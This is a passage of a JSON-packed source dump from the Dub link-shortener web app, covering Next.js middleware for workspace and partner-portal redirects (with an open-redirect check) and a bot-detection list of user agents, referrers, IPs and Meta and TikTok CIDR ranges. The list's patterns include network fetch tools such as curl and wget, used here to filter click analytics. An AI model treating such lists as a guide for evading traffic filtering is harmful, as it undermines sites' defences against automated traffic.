    "path": "apps/web/lib/middleware/new-link.ts",
    "content": "import { APP_DOMAIN } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { UserProps } from \"../types\";\nimport { getDefaultWorkspace } from \"./utils/get-default-workspace\";\nimport { parse } from \"./utils/parse\";\n\nexport async function NewLinkMiddleware(req: NextRequest, user: UserProps) {\n  const { fullPath } = parse(req);\n\n  const defaultWorkspace = await getDefaultWorkspace(user);\n\n  const searchParams = new URL(fullPath, APP_DOMAIN).searchParams;\n\n  if (defaultWorkspace) {\n    return NextResponse.redirect(\n      new URL(\n        `/${defaultWorkspace}/links?newLink=${searchParams.get(\"link\") || true}${searchParams.has(\"domain\") ? `&newLinkDomain=${searchParams.get(\"domain\")}` : \"\"}`,\n        req.url,\n      ),\n    );\n  } else {\n    return NextResponse.redirect(\n      new URL(`/workspaces?newWorkspace=true`, req.url),\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/partners.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\nimport { getDefaultPartnerId } from \"./utils/get-default-partner\";\nimport { getUserViaToken } from \"./utils/get-user-via-token\";\nimport { isValidInternalRedirect } from \"./utils/is-valid-internal-redirect\";\nimport { parse } from \"./utils/parse\";\nimport {\n  partnersProgramRedirects,\n  partnersRedirect,\n} from \"./utils/partners-redirect\";\n\nconst AUTHENTICATED_PATHS = [\n  \"/programs\",\n  \"/marketplace\",\n  \"/onboarding\",\n  \"/settings\",\n  \"/profile\",\n  \"/messages\",\n  \"/payouts\",\n  \"/account\",\n  \"/invite\",\n  \"/rewind\",\n];\n\nexport async function PartnersMiddleware(req: NextRequest) {\n  const { path, fullPath, searchParamsObj, searchParamsString } = parse(req);\n\n  const user = await getUserViaToken(req);\n  const isPartnerInvite = req.nextUrl.pathname.endsWith(\"/invite\");\n\n  const isAuthenticatedPath = AUTHENTICATED_PATHS.some(\n    (p) => path === \"/\" || path.startsWith(p),\n  );\n\n  const isLoginPath = [\"/login\", \"/register\"].some(\n    (p) => path.startsWith(p) || path.endsWith(p),\n  );\n\n  if (partnersProgramRedirects(path)) {\n    return NextResponse.redirect(\n      new URL(\n        `${partnersProgramRedirects(path)}${searchParamsString}`,\n        req.url,\n      ),\n      {\n        status: 301,\n      },\n    );\n  } else if (!user && isAuthenticatedPath) {\n    if (path.startsWith(\"/programs/\")) {\n      const programSlug = path.split(\"/\")[2];\n      return NextResponse.redirect(new URL(`/${programSlug}/login`, req.url));\n    }\n\n    return NextResponse.redirect(\n      new URL(\n        `/login${path === \"/\" ? \"\" : `?next=${encodeURIComponent(fullPath)}`}`,\n        req.url,\n      ),\n    );\n  } else if (user && (isAuthenticatedPath || isLoginPath)) {\n    const defaultPartnerId = await getDefaultPartnerId(user);\n\n    if (\n      !defaultPartnerId &&\n      !isPartnerInvite &&\n      ![\"/onboarding\", \"/account\"].some((p) => path.startsWith(p))\n    ) {\n      return NextResponse.redirect(\n        new URL(\n          `/onboarding${path === \"/\" ? \"\" : `?next=${encodeURIComponent(fullPath)}`}`,\n          req.url,\n        ),\n      );\n    }\n\n    // Handle ?next= query param with proper validation to prevent open redirects\n    // (omit /onboarding from the check to make sure onboarding is completed)\n    if (\n      searchParamsObj.next &&\n      isValidInternalRedirect({\n        redirectPath: searchParamsObj.next,\n        currentUrl: req.url,\n      }) &&\n      !path.startsWith(\"/onboarding\")\n    ) {\n      return NextResponse.redirect(new URL(searchParamsObj.next, req.url));\n    }\n\n    if (path === \"/\" || path.startsWith(\"/pn_\")) {\n      return NextResponse.redirect(new URL(\"/programs\", req.url));\n    } else if (isLoginPath) {\n      // if is custom program login or register path, redirect to /programs/:programSlug\n      const programSlugRegex = /^\\/([^\\/]+)\\/(login|register)$/;\n      const match = path.match(programSlugRegex);\n      if (match) {\n        return NextResponse.redirect(new URL(`/programs/${match[1]}`, req.url));\n      }\n      return NextResponse.redirect(new URL(\"/\", req.url)); // Redirect authenticated users to dashboard\n    } else if (partnersRedirect(path)) {\n      return NextResponse.redirect(\n        new URL(`${partnersRedirect(path)}${searchParamsString}`, req.url),\n      );\n    }\n  }\n\n  return NextResponse.rewrite(new URL(`/partners.dub.co${fullPath}`, req.url));\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/app-redirect.ts",
    "content": "import { RESERVED_SLUGS } from \"@dub/utils\";\nimport { getWorkspaceProduct } from \"./get-workspace-product\";\n\nconst APP_REDIRECTS = {\n  \"/account\": \"/account/settings\",\n  \"/referrals\": \"/account/settings/referrals\",\n  \"/onboarding\": \"/onboarding/welcome\",\n  \"/welcome\": \"/onboarding/welcome\",\n  \"/campaigns\": \"/program/campaigns\",\n  \"/messages\": \"/program/messages\",\n  \"/network\": \"/program/network\",\n  \"/marketplace\": \"/program/network\",\n  \"/fraud\": \"/program/fraud\",\n};\n\nconst PROGRAM_REDIRECTS = {\n  \"/program/settings\": \"/program\",\n  \"/program/settings/links\": \"/program/link-settings\",\n  \"/program/sales\": \"/program/commissions\",\n  \"/program/communication\": \"/program/resources\",\n  \"/program/rewards\": \"/program/groups/default/rewards\",\n  \"/program/discounts\": \"/program/groups/default/discounts\",\n  \"/program/link-settings\": \"/program/groups/default/links\",\n  \"/program/branding\": \"/program/groups/default/branding\",\n};\n\nexport const appRedirect = async (path: string) => {\n  if (APP_REDIRECTS[path]) {\n    return APP_REDIRECTS[path];\n  }\n\n  // Redirect \"/[slug]\" to \"/[slug]/[product]\"\n  const rootRegex = /^\\/([^\\/]+)$/;\n  if (rootRegex.test(path) && !RESERVED_SLUGS.includes(path.split(\"/\")[1])) {\n    const product = await getWorkspaceProduct(path.split(\"/\")[1]);\n    return path.replace(rootRegex, `/$1/${product}`);\n  }\n\n  // Redirect \"/[slug]/upgrade\" to \"/[slug]/settings/billing/upgrade\"\n  const upgradeRegex = /^\\/([^\\/]+)\\/upgrade$/;\n  if (upgradeRegex.test(path))\n    return path.replace(upgradeRegex, \"/$1/settings/billing/upgrade\");\n\n  // Redirect \"/[slug]/guides\" and all child paths to \"/[slug]/settings/tracking\"\n  const guidesRegex = /^\\/([^\\/]+)\\/guides(?:\\/(.*))?$/;\n  if (guidesRegex.test(path))\n    return path.replace(guidesRegex, \"/$1/settings/tracking\");\n\n  // Redirect \"/[slug]/settings/library/:path*\" to \"/[slug]/links/:path*\"\n  const libraryRegex = /^\\/([^\\/]+)\\/settings\\/library\\/(.*)$/;\n  if (libraryRegex.test(path))\n    return path.replace(libraryRegex, \"/$1/links/$2\");\n\n  // Redirect \"/[slug]/settings/people\" to \"/[slug]/settings/members\"\n  const peopleRegex = /^\\/([^\\/]+)\\/settings\\/people$/;\n  if (peopleRegex.test(path))\n    return path.replace(peopleRegex, \"/$1/settings/members\");\n\n  // Redirect \"/[slug]/settings/analytics\" to \"/[slug]/settings/tracking\"\n  const settingsAnalyticsRegex = /^\\/([^\\/]+)\\/settings\\/analytics$/;\n  if (settingsAnalyticsRegex.test(path))\n    return path.replace(settingsAnalyticsRegex, \"/$1/settings/tracking\");\n\n  // Redirect \"/[slug]/programs/prog_[id]/:path*\" to \"/[slug]/program/:path*\"\n  const oldProgramPagesRegex = /^\\/([^\\/]+)\\/programs\\/prog_[^\\/]+\\/(.*)$/;\n  if (oldProgramPagesRegex.test(path))\n    return path.replace(oldProgramPagesRegex, \"/$1/program/$2\");\n\n  // Redirect \"/[slug]/programs/:path*\" to \"/[slug]/program/:path*\" (including root path)\n  const programsPluralRegex = /^\\/([^\\/]+)\\/programs(?:\\/(.*))?$/;\n  if (programsPluralRegex.test(path))\n    return path.replace(\n      programsPluralRegex,\n      (_match, slug, subPath) =>\n        `/${slug}/program${subPath ? `/${subPath}` : \"\"}`,\n    );\n\n  // Redirect \"/[slug]/program/groups/:groupSlug\" to \"/[slug]/program/groups/:groupSlug/rewards\"\n  const groupRegex = /^\\/([^\\/]+)\\/program\\/groups\\/([^\\/]+)$/;\n  if (groupRegex.test(path))\n    return path.replace(groupRegex, \"/$1/program/groups/$2/rewards\");\n\n  // Redirect \"/[slug]/program/partners/:partnerId\" to \"/[slug]/program/partners/:partnerId/links\"\n  // Only applies when partnerId starts with \"pn_\" (exclude /applications)\n  const partnerPageRegex = /^\\/([^\\/]+)\\/program\\/partners\\/(pn_[^\\/]+)$/;\n  if (partnerPageRegex.test(path))\n    return path.replace(partnerPageRegex, \"/$1/program/partners/$2/links\");\n\n  // Redirect \"/[slug]/program/partners/:partnerId/about\" to \"/[slug]/program/partners/:partnerId/links?profile=true\"\n  // Only applies when partnerId starts with \"pn_\" (exclude /applications)\n  const partnerAboutPageRegex =\n    /^\\/([^\\/]+)\\/program\\/partners\\/(pn_[^\\/]+)\\/about$/;\n  if (partnerAboutPageRegex.test(path))\n    return path.replace(\n      partnerAboutPageRegex,\n      \"/$1/program/partners/$2/links?profile=true\",\n    );\n\n  // Redirect \"/[slug]/customers/:customerId\" to \"/[slug]/customers/:customerId/sales\"\n  const customersPageRegex = /^\\/([^\\/]+)\\/customers\\/([^\\/]+)$/;\n  if (customersPageRegex.test(path))\n    return path.replace(customersPageRegex, \"/$1/customers/$2/sales\");\n\n  // Redirect \"/[slug]/program/customers/:customerId\" to \"/[slug]/program/customers/:customerId/sales\"\n  // Only applies when customerId starts with \"cus_\" (old IDs handled by page redirect)\n  const programCustomersPageRegex =\n    /^\\/([^\\/]+)\\/program\\/customers\\/(cus_[^\\/]+)$/;\n  if (programCustomersPageRegex.test(path))\n    return path.replace(\n      programCustomersPageRegex,\n      \"/$1/program/customers/$2/sales\",\n    );\n\n  // Handle additional simpler program redirects\n  const programRedirect = Object.keys(PROGRAM_REDIRECTS).find((redirect) =>\n    path.endsWith(redirect),\n  );\n  if (programRedirect) {\n    return path.replace(programRedirect, PROGRAM_REDIRECTS[programRedirect]);\n  }\n\n  return null;\n};\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/bots-list.ts",
    "content": "export const UA_BOTS = [\n  // generic bot UA name patterns\n  \"bot\", // most bots\n  \"crawler\", // most crawlers\n  \"spider\", // most spiders\n  \"http\", // HTTP clients and libraries (e.g., Apache-HttpClient, Go-http-client, etc.)\n  \"scraper\", // most scrapers\n  \"fetch\", // most fetch libraries\n  \"curl\", // most curl libraries\n  \"wget\", // most wget libraries\n  \"python\", // most python libraries\n  \"node\", // most node libraries – e.g. node-fetch/1.0 (+https://github.com/bitinn/node-fetch)\n  \"ruby\", // most ruby libraries\n\n  \"chatgpt\", // ChatGPT\n  \"bluesky\", // Bluesky crawler\n  \"facebookexternalhit\", // Facebook crawler\n  \"meta-externalagent\", // Meta external agent\n  \"thirdLandingPageFeInfra\", // TikTok preloader (https://ads.tiktok.com/help/article/preloading-web-content)\n  \"WhatsApp\", // WhatsApp crawler\n  \"google\", // Google crawler\n  \"baidu\", // Baidu crawler\n  \"bing\", // Bing crawler\n  \"msn\", // MSN crawler\n  \"duckduckbot\", // DuckDuckGo crawler\n  \"teoma\", // Teoma crawler\n  \"slurp\", // Slurp crawler\n  \"yandex\", // Yandex crawler\n  \"MetaInspector\", // metatags.io\n  \"iframely\", // https://iframely.com/docs/about (used by Notion, Linear)\n  \"HeadlessChrome\", // headless chrome\n\n  // new\n  \"ia_archiver\",\n  \"Sogou\",\n  \"SkypeUriPreview\",\n  \"vkShare\",\n  \"Slackbot\",\n  \"Tumblr\",\n  \"FeedBurner\",\n  \"upptime\",\n  \"Hyperping\",\n  \"cron-job\",\n  \"InternetMeasurement\",\n  \"HostTracker\",\n  \"Expanse\", // Expanse (Palo Alto Networks)\n\n  // AI bots\n  \"anthropic-ai\", // Anthropic AI\n  \"Claude-Web\", // Claude AI\n  \"Applebot-Extended\", // Applebot Extended\n  \"perplexity\", // Perplexity AI\n  \"Omigili\", // Omigili\n  \"timpi\", // Timpi.io\n\n  // bots detected by Vercel\n  \"ShortLinkTranslate\",\n\n  // Additional legitimate crawlers from user-agents.net/bots\n  \"BingPreview\", // Bing link preview\n  \"facebookcatalog\", // Facebook catalog crawler\n  \"Embedly\", // Embedly link preview\n  \"Scrapy\", // Scrapy web scraping framework\n  \"axios\", // axios HTTP client library\n  \"Guzzle\", // PHP Guzzle HTTP client\n  \"Postman\", // Postman API client\n  \"Insomnia\", // Insomnia REST client\n  \"Newman\", // Newman (Postman CLI runner)\n  \"Qwantify\", // Qwant search engine\n  \"Wayback\", // Wayback Machine\n  \"heritrix\", // Heritrix web crawler\n  \"nutch\", // Apache Nutch\n  \"seokicks\", // SEOkicks robot\n  \"sistrix\", // Sistrix crawler\n  \"searchmetrics\", // Searchmetrics\n  \"linkdex\", // Linkdex\n  \"opensiteexplorer\", // Open Site Explorer\n  \"spyfu\", // SpyFu\n  \"serpstat\", // Serpstat\n  \"cognitiveseo\", // CognitiveSEO\n  \"seobility\", // Seobility\n  \"seositecheckup\", // SeoSiteCheckup\n  \"woorank\", // WooRank\n  \"gtmetrix\", // GTmetrix\n  \"pingdom\", // Pingdom\n  \"statuscake\", // StatusCake\n  \"site24x7\", // Site24x7\n  \"monitis\", // Monitis\n  \"gomez\", // Gomez\n  \"neustar\", // Neustar\n  \"catchpoint\", // Catchpoint\n  \"webpagetest\", // WebPageTest\n  \"speedcurve\", // SpeedCurve\n  \"dareboost\", // Dareboost\n  \"yellowlab\", // YellowLab Tools\n  \"linkchecker\", // link checkers\n  \"deadlinkchecker\", // dead link checker\n  \"brokenlinkcheck\", // broken link checker\n  \"xenu\", // Xenu link checker\n  \"scrutiny\", // Scrutiny link checker\n  \"powermapper\", // PowerMapper\n  \"siteimprove\", // Siteimprove\n  \"monsido\", // Monsido\n];\n\nexport const REFERRER_BOTS = [\n  \"url.emailprotection.link\",\n  \"urlsand.com\", // whysecurity.urlsand.com, alpitour.urlsand.com\n  \"statics.teams.cdn.office.net\",\n  \"security-za.m.mimecastprotect.com\",\n  \"deref-mail.com\",\n  \"deref-gmx.com\",\n];\n\nexport const IP_BOTS = [\n  \"127.0.0.1\", // localhost\n\n  // bot IPs from Tinybird dataset\n  \"52.112.74.60\",\n  \"52.112.125.8\",\n  \"52.112.49.104\",\n  \"52.112.49.112\",\n  \"52.112.39.132\",\n  \"52.123.190.36\",\n  \"52.123.190.60\",\n  \"52.112.95.132\",\n  \"52.123.190.88\",\n  \"52.112.95.133\",\n  \"52.123.190.124\",\n  \"52.112.39.133\",\n  \"52.112.49.156\",\n  \"195.211.23.206\",\n  \"172.69.34.226\",\n  \"52.112.49.196\",\n  \"172.69.34.225\",\n  \"52.112.125.9\",\n  \"172.69.34.17\",\n  \"172.69.34.18\",\n  \"195.211.23.207\",\n  \"52.112.49.157\",\n  \"172.69.22.217\",\n  \"162.158.167.225\",\n  \"162.158.167.226\",\n  \"52.112.74.61\",\n  \"172.69.34.194\",\n  \"27.124.32.71\",\n  \"172.69.22.216\",\n  \"172.69.34.193\",\n  \"195.211.23.208\",\n  \"195.211.23.210\",\n  \"110.40.20.105\",\n  \"134.122.196.16\",\n\n  \"35.185.193.22\", // The Dalles\n  \"34.105.67.76\", // The Dalles\n  \"154.28.229.7\", // Ashburn\n  \"156.242.43.111\", // Ashburn\n  \"156.242.42.55\", // Ashburn\n\n  \"154.214.1.137\", // suspicious \"unknown city\" IP\n\n  \"207.46.13.111\", // microsoft IP\n];\n\nexport const IP_RANGES_BOTS = [\n  // weird bot activity from Miami\n  \"159.148.128.0/24\",\n\n  // Expanse (Palo Alto Networks)\n  \"198.235.24.0/24\",\n  \"205.210.31.0/24\",\n\n  // odd traffic from Hong Kong (Aliexpress)\n  \"47.238.13.0/24\",\n  \"47.238.14.0/24\",\n\n  // Facebook / Meta Platforms IP ranges (see: https://ipinfo.io/AS32934#block-ranges)\n  \"57.144.0.0/14\",\n  \"129.134.0.0/17\",\n  \"157.240.0.0/17\",\n  \"163.70.128.0/17\",\n  \"31.13.64.0/18\",\n  \"157.240.192.0/18\",\n  \"31.13.96.0/19\",\n  \"69.171.224.0/19\",\n  \"173.252.64.0/19\",\n  \"173.252.96.0/19\",\n  \"66.220.144.0/20\",\n  \"69.63.176.0/20\",\n  \"69.171.224.0/20\",\n  \"69.171.240.0/20\",\n  \"102.132.96.0/20\",\n  \"31.13.24.0/21\",\n  \"66.220.144.0/21\",\n  \"66.220.152.0/21\",\n  \"69.63.176.0/21\",\n  \"69.63.184.0/21\",\n  \"173.252.88.0/21\",\n  \"45.64.40.0/22\",\n  \"74.119.76.0/22\",\n  \"103.4.96.0/22\",\n  \"179.60.192.0/22\",\n  \"185.60.216.0/22\",\n  \"185.89.216.0/22\",\n  \"204.15.20.0/22\",\n  \"57.144.14.0/23\",\n  \"57.144.22.0/23\",\n  \"57.144.42.0/23\",\n  \"57.144.44.0/23\",\n  \"57.144.54.0/23\",\n  \"57.144.56.0/23\",\n  \"57.144.68.0/23\",\n  \"57.144.100.0/23\",\n  \"57.144.102.0/23\",\n  \"57.144.104.0/23\",\n  \"57.144.108.0/23\",\n  \"57.144.110.0/23\",\n  \"57.144.112.0/23\",\n  \"57.144.114.0/23\",\n  \"57.144.116.0/23\",\n  \"57.144.120.0/23\",\n  \"57.144.124.0/23\",\n  \"57.144.126.0/23\",\n  \"57.144.128.0/23\",\n  \"57.144.132.0/23\",\n  \"57.144.134.0/23\",\n  \"57.144.136.0/23\",\n  \"57.144.138.0/23\",\n  \"57.144.140.0/23\",\n  \"57.144.142.0/23\",\n  \"57.144.144.0/23\",\n  \"57.144.148.0/23\",\n  \"57.144.150.0/23\",\n  \"57.144.152.0/23\",\n  \"57.144.160.0/23\",\n  \"57.144.162.0/23\",\n  \"57.144.164.0/23\",\n  \"57.144.172.0/23\",\n  \"57.144.174.0/23\",\n  \"57.144.176.0/23\",\n  \"57.144.178.0/23\",\n  \"57.144.180.0/23\",\n  \"57.144.186.0/23\",\n  \"57.144.188.0/23\",\n  \"57.144.192.0/23\",\n  \"57.144.194.0/23\",\n  \"57.144.196.0/23\",\n  \"57.144.198.0/23\",\n  \"57.144.200.0/23\",\n  \"57.144.202.0/23\",\n  \"57.144.204.0/23\",\n  \"57.144.206.0/23\",\n  \"57.144.208.0/23\",\n  \"57.144.210.0/23\",\n  \"57.144.212.0/23\",\n  \"57.144.214.0/23\",\n  \"57.144.216.0/23\",\n  \"57.144.218.0/23\",\n  \"57.144.220.0/23\",\n  \"57.144.222.0/23\",\n  \"57.144.234.0/23\",\n  \"57.144.236.0/23\",\n  \"57.144.238.0/23\",\n  \"57.144.240.0/23\",\n  \"57.144.242.0/23\",\n  \"57.144.244.0/23\",\n  \"57.144.246.0/23\",\n  \"57.144.248.0/23\",\n  \"57.144.250.0/23\",\n  \"57.144.252.0/23\",\n  \"129.134.24.0/23\",\n  \"129.134.26.0/23\",\n  \"129.134.28.0/23\",\n  \"129.134.30.0/23\",\n  \"163.77.132.0/23\",\n  \"163.77.136.0/23\",\n  \"185.89.218.0/23\",\n  \"31.13.64.0/24\",\n  \"31.13.66.0/24\",\n  \"31.13.69.0/24\",\n  \"31.13.70.0/24\",\n  \"31.13.71.0/24\",\n  \"31.13.72.0/24\",\n  \"31.13.73.0/24\",\n  \"31.13.80.0/24\",\n  \"31.13.82.0/24\",\n  \"31.13.83.0/24\",\n  \"31.13.84.0/24\",\n  \"31.13.85.0/24\",\n  \"31.13.86.0/24\",\n  \"31.13.87.0/24\",\n  \"31.13.88.0/24\",\n  \"31.13.89.0/24\",\n  \"31.13.90.0/24\",\n  \"31.13.91.0/24\",\n  \"31.13.93.0/24\",\n  \"31.13.94.0/24\",\n  \"31.13.95.0/24\",\n  \"57.141.0.0/24\",\n  \"57.141.1.0/24\",\n  \"57.141.2.0/24\",\n  \"57.141.3.0/24\",\n  \"57.141.4.0/24\",\n  \"57.141.5.0/24\",\n  \"57.141.6.0/24\",\n  \"57.141.7.0/24\",\n  \"57.141.8.0/24\",\n  \"57.141.9.0/24\",\n  \"57.141.10.0/24\",\n  \"57.141.11.0/24\",\n  \"57.141.12.0/24\",\n  \"57.141.13.0/24\",\n  \"57.141.14.0/24\",\n  \"57.141.15.0/24\",\n  \"57.141.16.0/24\",\n  \"57.141.17.0/24\",\n  \"57.141.18.0/24\",\n  \"57.141.19.0/24\",\n  \"57.141.20.0/24\",\n  \"57.141.21.0/24\",\n  \"69.171.250.0/24\",\n  \"102.132.99.0/24\",\n  \"102.132.101.0/24\",\n  \"102.132.104.0/24\",\n  \"129.134.25.0/24\",\n  \"129.134.26.0/24\",\n  \"129.134.27.0/24\",\n  \"129.134.28.0/24\",\n  \"129.134.29.0/24\",\n  \"129.134.30.0/24\",\n  \"129.134.31.0/24\",\n  \"157.240.0.0/24\",\n  \"157.240.1.0/24\",\n  \"157.240.3.0/24\",\n  \"157.240.5.0/24\",\n  \"157.240.8.0/24\",\n  \"157.240.9.0/24\",\n  \"157.240.11.0/24\",\n  \"157.240.12.0/24\",\n  \"157.240.13.0/24\",\n  \"157.240.14.0/24\",\n  \"157.240.15.0/24\",\n  \"157.240.17.0/24\",\n  \"157.240.22.0/24\",\n  \"157.240.24.0/24\",\n  \"157.240.25.0/24\",\n  \"157.240.26.0/24\",\n  \"157.240.27.0/24\",\n  \"157.240.30.0/24\",\n  \"157.240.31.0/24\",\n  \"157.240.196.0/24\",\n  \"157.240.197.0/24\",\n  \"157.240.199.0/24\",\n  \"157.240.200.0/24\",\n  \"157.240.201.0/24\",\n  \"157.240.202.0/24\",\n  \"157.240.203.0/24\",\n  \"157.240.205.0/24\",\n  \"157.240.208.0/24\",\n  \"157.240.209.0/24\",\n  \"157.240.210.0/24\",\n  \"157.240.211.0/24\",\n  \"157.240.212.0/24\",\n  \"157.240.214.0/24\",\n  \"157.240.222.0/24\",\n  \"157.240.223.0/24\",\n  \"157.240.224.0/24\",\n  \"157.240.225.0/24\",\n  \"157.240.226.0/24\",\n  \"157.240.227.0/24\",\n  \"157.240.229.0/24\",\n  \"157.240.231.0/24\",\n  \"157.240.233.0/24\",\n  \"157.240.234.0/24\",\n  \"157.240.238.0/24\",\n  \"157.240.241.0/24\",\n  \"157.240.243.0/24\",\n  \"157.240.244.0/24\",\n  \"157.240.245.0/24\",\n  \"157.240.253.0/24\",\n  \"157.240.254.0/24\",\n  \"163.70.128.0/24\",\n  \"163.70.143.0/24\",\n  \"163.70.144.0/24\",\n  \"163.70.151.0/24\",\n  \"163.70.152.0/24\",\n  \"163.70.158.0/24\",\n  \"163.70.159.0/24\",\n  \"163.77.132.0/24\",\n  \"163.77.133.0/24\",\n  \"163.77.136.0/24\",\n  \"163.77.137.0/24\",\n  \"179.60.195.0/24\",\n  \"185.60.217.0/24\",\n  \"185.60.218.0/24\",\n  \"185.60.219.0/24\",\n  \"185.89.218.0/24\",\n  \"185.89.219.0/24\",\n\n  // TikTok / Bytedance IP ranges (see: https://ipinfo.io/AS138699#block-ranges)\n  \"71.18.64.0/21\",\n  \"202.52.240.0/21\",\n  \"71.18.16.0/22\",\n  \"71.18.56.0/22\",\n  \"71.18.84.0/22\",\n  \"71.18.96.0/22\",\n  \"71.18.108.0/22\",\n  \"71.18.140.0/22\",\n  \"71.18.2.0/23\",\n  \"71.18.36.0/23\",\n  \"71.18.44.0/23\",\n  \"71.18.48.0/23\",\n  \"71.18.88.0/23\",\n  \"71.18.90.0/23\",\n  \"71.18.120.0/23\",\n  \"71.18.138.0/23\",\n  \"71.18.1.0/24\",\n  \"71.18.4.0/24\",\n  \"71.18.5.0/24\",\n  \"71.18.6.0/24\",\n  \"71.18.7.0/24\",\n  \"71.18.8.0/24\",\n  \"71.18.10.0/24\",\n  \"71.18.11.0/24\",\n  \"71.18.12.0/24\",\n  \"71.18.13.0/24\",\n  \"71.18.20.0/24\",\n  \"71.18.21.0/24\",\n  \"71.18.24.0/24\",\n  \"71.18.25.0/24\",\n  \"71.18.26.0/24\",\n  \"71.18.29.0/24\",\n  \"71.18.30.0/24\",\n  \"71.18.31.0/24\",\n  \"71.18.32.0/24\",\n  \"71.18.33.0/24\",\n  \"71.18.34.0/24\",\n  \"71.18.35.0/24\",\n  \"71.18.38.0/24\",\n  \"71.18.39.0/24\",\n  \"71.18.40.0/24\",\n  \"71.18.41.0/24\",\n  \"71.18.42.0/24\",\n  \"71.18.43.0/24\",\n  \"71.18.46.0/24\",\n  \"71.18.47.0/24\",\n  \"71.18.50.0/24\",\n  \"71.18.51.0/24\",\n  \"71.18.52.0/24\",\n  \"71.18.53.0/24\",\n  \"71.18.54.0/24\",\n  \"71.18.55.0/24\",\n  \"71.18.60.0/24\",\n  \"71.18.72.0/24\",\n  \"71.18.73.0/24\",\n  \"71.18.74.0/24\",\n  \"71.18.75.0/24\",\n  \"71.18.77.0/24\",\n  \"71.18.79.0/24\",\n  \"71.18.80.0/24\",\n  \"71.18.81.0/24\",\n  \"71.18.82.0/24\",\n  \"71.18.92.0/24\",\n  \"71.18.93.0/24\",\n  \"71.18.94.0/24\",\n  \"71.18.95.0/24\",\n  \"71.18.100.0/24\",\n  \"71.18.101.0/24\",\n  \"71.18.102.0/24\",\n  \"71.18.103.0/24\",\n  \"71.18.104.0/24\",\n  \"71.18.105.0/24\",\n  \"71.18.106.0/24\",\n  \"71.18.107.0/24\",\n  \"71.18.112.0/24\",\n  \"71.18.113.0/24\",\n  \"71.18.116.0/24\",\n  \"71.18.117.0/24\",\n  \"71.18.118.0/24\",\n  \"71.18.119.0/24\",\n  \"71.18.122.0/24\",\n  \"71.18.123.0/24\",\n  \"71.18.124.0/24\",\n  \"71.18.125.0/24\",\n  \"71.18.126.0/24\",\n  \"71.18.127.0/24\",\n  \"71.18.128.0/24\",\n  \"71.18.129.0/24\",\n  \"71.18.130.0/24\",\n  \"71.18.131.0/24\",\n  \"71.18.132.0/24\",\n  \"71.18.133.0/24\",\n  \"71.18.134.0/24\",\n  \"71.18.135.0/24\",\n  \"71.18.136.0/24\",\n  \"71.18.137.0/24\",\n  \"71.18.144.0/24\",\n  \"71.18.145.0/24\",\n  \"71.18.146.0/24\",\n  \"71.18.147.0/24\",\n  \"71.18.148.0/24\",\n  \"71.18.149.0/24\",\n  \"71.18.150.0/24\",\n  \"71.18.152.0/24\",\n  \"71.18.153.0/24\",\n  \"71.18.154.0/24\",\n  \"71.18.155.0/24\",\n  \"71.18.156.0/24\",\n  \"71.18.157.0/24\",\n  \"71.18.158.0/24\",\n  \"71.18.159.0/24\",\n  \"71.18.160.0/24\",\n  \"71.18.161.0/24\",\n  \"71.18.162.0/24\",\n  \"71.18.163.0/24\",\n  \"71.18.164.0/24\",\n  \"71.18.165.0/24\",\n  \"71.18.166.0/24\",\n  \"71.18.167.0/24\",\n  \"71.18.168.0/24\",\n  \"71.18.169.0/24\",\n  \"71.18.170.0/24\",\n  \"71.18.171.0/24\",\n  \"71.18.175.0/24\",\n  \"71.18.176.0/24\",\n  \"71.18.177.0/24\",\n  \"71.18.178.0/24\",\n  \"71.18.179.0/24\",\n  \"71.18.180.0/24\",\n  \"71.18.182.0/24\",\n  \"71.18.183.0/24\",\n  \"71.18.184.0/24\",\n  \"71.18.185.0/24\",\n  \"71.18.186.0/24\",\n  \"71.18.187.0/24\",\n  \"71.18.188.0/24\",\n  \"71.18.191.0/24\",\n  \"71.18.192.0/24\",\n  \"71.18.193.0/24\",\n  \"71.18.196.0/24\",\n  \"71.18.197.0/24\",\n  \"71.18.199.0/24\",\n  \"71.18.200.0/24\",\n  \"71.18.201.0/24\",\n  \"71.18.202.0/24\",\n  \"71.18.203.0/24\",\n  \"71.18.204.0/24\",\n  \"71.18.205.0/24\",\n  \"71.18.206.0/24\",\n  \"71.18.207.0/24\",\n  \"71.18.208.0/24\",\n  \"71.18.209.0/24\",\n  \"71.18.210.0/24\",\n  \"71.18.211.0/24\",\n  \"71.18.212.0/24\",\n  \"71.18.213.0/24\",\n  \"71.18.214.0/24\",\n  \"71.18.215.0/24\",\n  \"71.18.216.0/24\",\n  \"71.18.217.0/24\",\n  \"71.18.218.0/24\",\n  \"71.18.219.0/24\",\n  \"71.18.222.0/24\",\n  \"71.18.223.0/24\",\n  \"71.18.224.0/24\",\n  \"71.18.228.0/24\",\n  \"71.18.231.0/24\",\n  \"71.18.232.0/24\",\n  \"71.18.237.0/24\",\n  \"71.18.238.0/24\",\n  \"71.18.239.0/24\",\n  \"71.18.240.0/24\",\n  \"71.18.241.0/24\",\n  \"71.18.243.0/24\",\n  \"71.18.244.0/24\",\n  \"71.18.245.0/24\",\n  \"71.18.246.0/24\",\n  \"130.44.212.0/24\",\n  \"130.44.214.0/24\",\n  \"130.44.215.0/24\",\n  \"139.177.225.0/24\",\n  \"139.177.227.0/24\",\n  \"139.177.233.0/24\",\n  \"139.177.235.0/24\",\n  \"139.177.238.0/24\",\n  \"139.177.240.0/24\",\n  \"139.177.241.0/24\",\n  \"139.177.242.0/24\",\n  \"139.177.243.0/24\",\n  \"139.177.244.0/24\",\n  \"139.177.245.0/24\",\n  \"139.177.246.0/24\",\n  \"139.177.247.0/24\",\n  \"139.177.248.0/24\",\n  \"147.160.176.0/24\",\n  \"147.160.180.0/24\",\n  \"147.160.182.0/24\",\n  \"147.160.184.0/24\",\n  \"147.160.190.0/24\",\n  \"180.240.234.0/24\",\n  \"180.240.235.0/24\",\n  \"192.64.15.0/24\",\n  \"199.103.24.0/24\",\n  \"199.103.25.0/24\",\n];\n"
  },
  {
    "path": "apps/web/lib/middleware/utils/cache-deeplink-click-data.ts",
